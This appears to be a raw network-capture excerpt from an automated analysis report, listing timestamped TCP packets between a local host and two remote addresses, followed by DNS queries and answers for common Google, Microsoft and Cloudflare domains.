Nov 23, 2024 19:52:57.702258110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.702300072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.702369928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.702466965 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.703246117 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.703299999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.703414917 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.703461885 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.704056978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.704102993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.704168081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.704214096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.704967976 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.705054998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.705079079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.705091000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.716864109 CET	49906	443	192.168.2.6	23.209.72.36
Nov 23, 2024 19:52:57.716902971 CET	443	49906	23.209.72.36	192.168.2.6
Nov 23, 2024 19:52:57.717025995 CET	49906	443	192.168.2.6	23.209.72.36
Nov 23, 2024 19:52:57.718224049 CET	49907	443	192.168.2.6	23.209.72.36
Nov 23, 2024 19:52:57.718242884 CET	443	49907	23.209.72.36	192.168.2.6
Nov 23, 2024 19:52:57.718301058 CET	49907	443	192.168.2.6	23.209.72.36
Nov 23, 2024 19:52:57.719178915 CET	49906	443	192.168.2.6	23.209.72.36
Nov 23, 2024 19:52:57.719196081 CET	443	49906	23.209.72.36	192.168.2.6
Nov 23, 2024 19:52:57.719604015 CET	49907	443	192.168.2.6	23.209.72.36
Nov 23, 2024 19:52:57.719619036 CET	443	49907	23.209.72.36	192.168.2.6
Nov 23, 2024 19:52:57.754183054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.754246950 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.754338026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.754434109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.754569054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.754614115 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.754677057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.754718065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.755597115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.755697966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.755703926 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.755733967 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.756380081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.756433010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.762785912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.762835026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.762860060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.762873888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.763209105 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.763252974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.763361931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.763421059 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.764066935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.764111042 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.764192104 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.764359951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.764975071 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.765017033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.765026093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.765052080 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.765902042 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.765969038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.765997887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.766035080 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.766796112 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.766854048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.766885996 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.767000914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.767698050 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.767863989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.767888069 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.767908096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.768619061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.768676996 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.768737078 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.768817902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.769546986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.769602060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.769674063 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.769715071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.770482063 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.770529032 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.770592928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.770637989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.771379948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.771424055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.771487951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.771527052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.772272110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.772334099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.772355080 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.772394896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.773222923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.773291111 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.773315907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.773353100 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.774079084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.774173021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.831938982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.832012892 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.832123041 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.832171917 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.832412958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.832469940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.832490921 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.832504988 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.833103895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.833198071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.833200932 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.833234072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.834019899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.834053040 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.834067106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.834100008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.834970951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.835019112 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.835031033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.835144997 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.835844994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.835896015 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.835937977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.836787939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.836828947 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.836885929 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.836960077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.837662935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.837711096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.837776899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.837981939 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.838576078 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.838684082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.838710070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.838751078 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.839519024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.839562893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.839611053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.839694023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.840447903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.840513945 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.840531111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.840568066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.841351032 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.841398954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.841450930 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.841516018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.842246056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.842303991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.842350006 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.842505932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.843183041 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.843234062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.843259096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.843300104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.844060898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.844120026 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.844166040 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.844201088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.844984055 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.845051050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.845086098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.845146894 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.845916986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.845974922 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.846036911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.846138954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.846821070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.846909046 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.847031116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.847110033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.847712994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.847762108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.847825050 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.847965956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.848753929 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.848799944 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.848884106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.848974943 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.849471092 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.849517107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.895415068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895430088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895442009 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895478964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.895483971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895498037 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895502090 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.895512104 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895559072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.895572901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.895703077 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895745993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.895766973 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.895816088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.896454096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.896502018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.896554947 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.898387909 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.898423910 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.898436069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.898478985 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.898504972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.898571014 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.899368048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.899418116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.899540901 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.899621964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.899636984 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.899648905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.899682045 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.899694920 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.900494099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.900556087 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.900574923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.900693893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.901432037 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.901482105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.901552916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.901595116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.902381897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.902462959 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.902563095 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.902606964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.903264999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.903306007 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.903387070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.903486013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.904139996 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.904230118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.904254913 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.904347897 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.905060053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.905107021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.905180931 CET	80	49831	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 19:52:30.322180986 CET	192.168.2.6	1.1.1.1	0xb502	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:30.322329998 CET	192.168.2.6	1.1.1.1	0x4af7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:38.719429016 CET	192.168.2.6	1.1.1.1	0x49fd	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:38.719582081 CET	192.168.2.6	1.1.1.1	0x3fd2	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:44.049592018 CET	192.168.2.6	1.1.1.1	0x1c13	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:44.050044060 CET	192.168.2.6	1.1.1.1	0xf6b8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:46.470151901 CET	192.168.2.6	1.1.1.1	0x64ac	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:46.470417023 CET	192.168.2.6	1.1.1.1	0x89d1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 19:52:47.268634081 CET	192.168.2.6	1.1.1.1	0x20aa	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:47.268944025 CET	192.168.2.6	1.1.1.1	0x59fa	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:48.797967911 CET	192.168.2.6	1.1.1.1	0x8637	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.798245907 CET	192.168.2.6	1.1.1.1	0x1869	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:48.798662901 CET	192.168.2.6	1.1.1.1	0x460c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.798854113 CET	192.168.2.6	1.1.1.1	0x5f27	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:48.844715118 CET	192.168.2.6	1.1.1.1	0x94cd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.845088959 CET	192.168.2.6	1.1.1.1	0xa555	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:49.470361948 CET	192.168.2.6	1.1.1.1	0x6af6	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.470757961 CET	192.168.2.6	1.1.1.1	0x51e6	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:49.492583990 CET	192.168.2.6	1.1.1.1	0xffaf	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.492785931 CET	192.168.2.6	1.1.1.1	0x5d1c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:49.661942959 CET	192.168.2.6	1.1.1.1	0x788a	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.662244081 CET	192.168.2.6	1.1.1.1	0xf50b	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 23, 2024 19:52:49.846771955 CET	192.168.2.6	1.1.1.1	0x6090	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.846914053 CET	192.168.2.6	1.1.1.1	0xfc93	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 19:52:30.488466978 CET	1.1.1.1	192.168.2.6	0x4af7	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 19:52:30.488478899 CET	1.1.1.1	192.168.2.6	0xb502	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:38.866499901 CET	1.1.1.1	192.168.2.6	0x3fd2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:38.866934061 CET	1.1.1.1	192.168.2.6	0x49fd	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:38.866934061 CET	1.1.1.1	192.168.2.6	0x49fd	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:44.198806047 CET	1.1.1.1	192.168.2.6	0x1c13	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:44.199486971 CET	1.1.1.1	192.168.2.6	0xf6b8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:44.802373886 CET	1.1.1.1	192.168.2.6	0xb491	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:44.810966969 CET	1.1.1.1	192.168.2.6	0x5e2f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:44.810966969 CET	1.1.1.1	192.168.2.6	0x5e2f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:46.619980097 CET	1.1.1.1	192.168.2.6	0x64ac	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:46.620052099 CET	1.1.1.1	192.168.2.6	0x89d1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:47.575721979 CET	1.1.1.1	192.168.2.6	0x20aa	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:47.575721979 CET	1.1.1.1	192.168.2.6	0x20aa	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:47.678867102 CET	1.1.1.1	192.168.2.6	0x59fa	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:48.961940050 CET	1.1.1.1	192.168.2.6	0x460c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.961940050 CET	1.1.1.1	192.168.2.6	0x460c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.962363958 CET	1.1.1.1	192.168.2.6	0x1869	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 19:52:48.965141058 CET	1.1.1.1	192.168.2.6	0x8637	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.965141058 CET	1.1.1.1	192.168.2.6	0x8637	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:48.984654903 CET	1.1.1.1	192.168.2.6	0x5f27	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 19:52:49.005024910 CET	1.1.1.1	192.168.2.6	0x94cd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.005024910 CET	1.1.1.1	192.168.2.6	0x94cd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.012295961 CET	1.1.1.1	192.168.2.6	0xa555	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 19:52:49.621157885 CET	1.1.1.1	192.168.2.6	0x51e6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:49.621639013 CET	1.1.1.1	192.168.2.6	0x6af6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:49.656405926 CET	1.1.1.1	192.168.2.6	0xffaf	No error (0)	sb.scorecardresearch.com		18.245.60.72	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.656405926 CET	1.1.1.1	192.168.2.6	0xffaf	No error (0)	sb.scorecardresearch.com		18.245.60.107	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.656405926 CET	1.1.1.1	192.168.2.6	0xffaf	No error (0)	sb.scorecardresearch.com		18.245.60.53	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:49.656405926 CET	1.1.1.1	192.168.2.6	0xffaf	No error (0)	sb.scorecardresearch.com		18.245.60.76	A (IP address)	IN (0x0001)	false
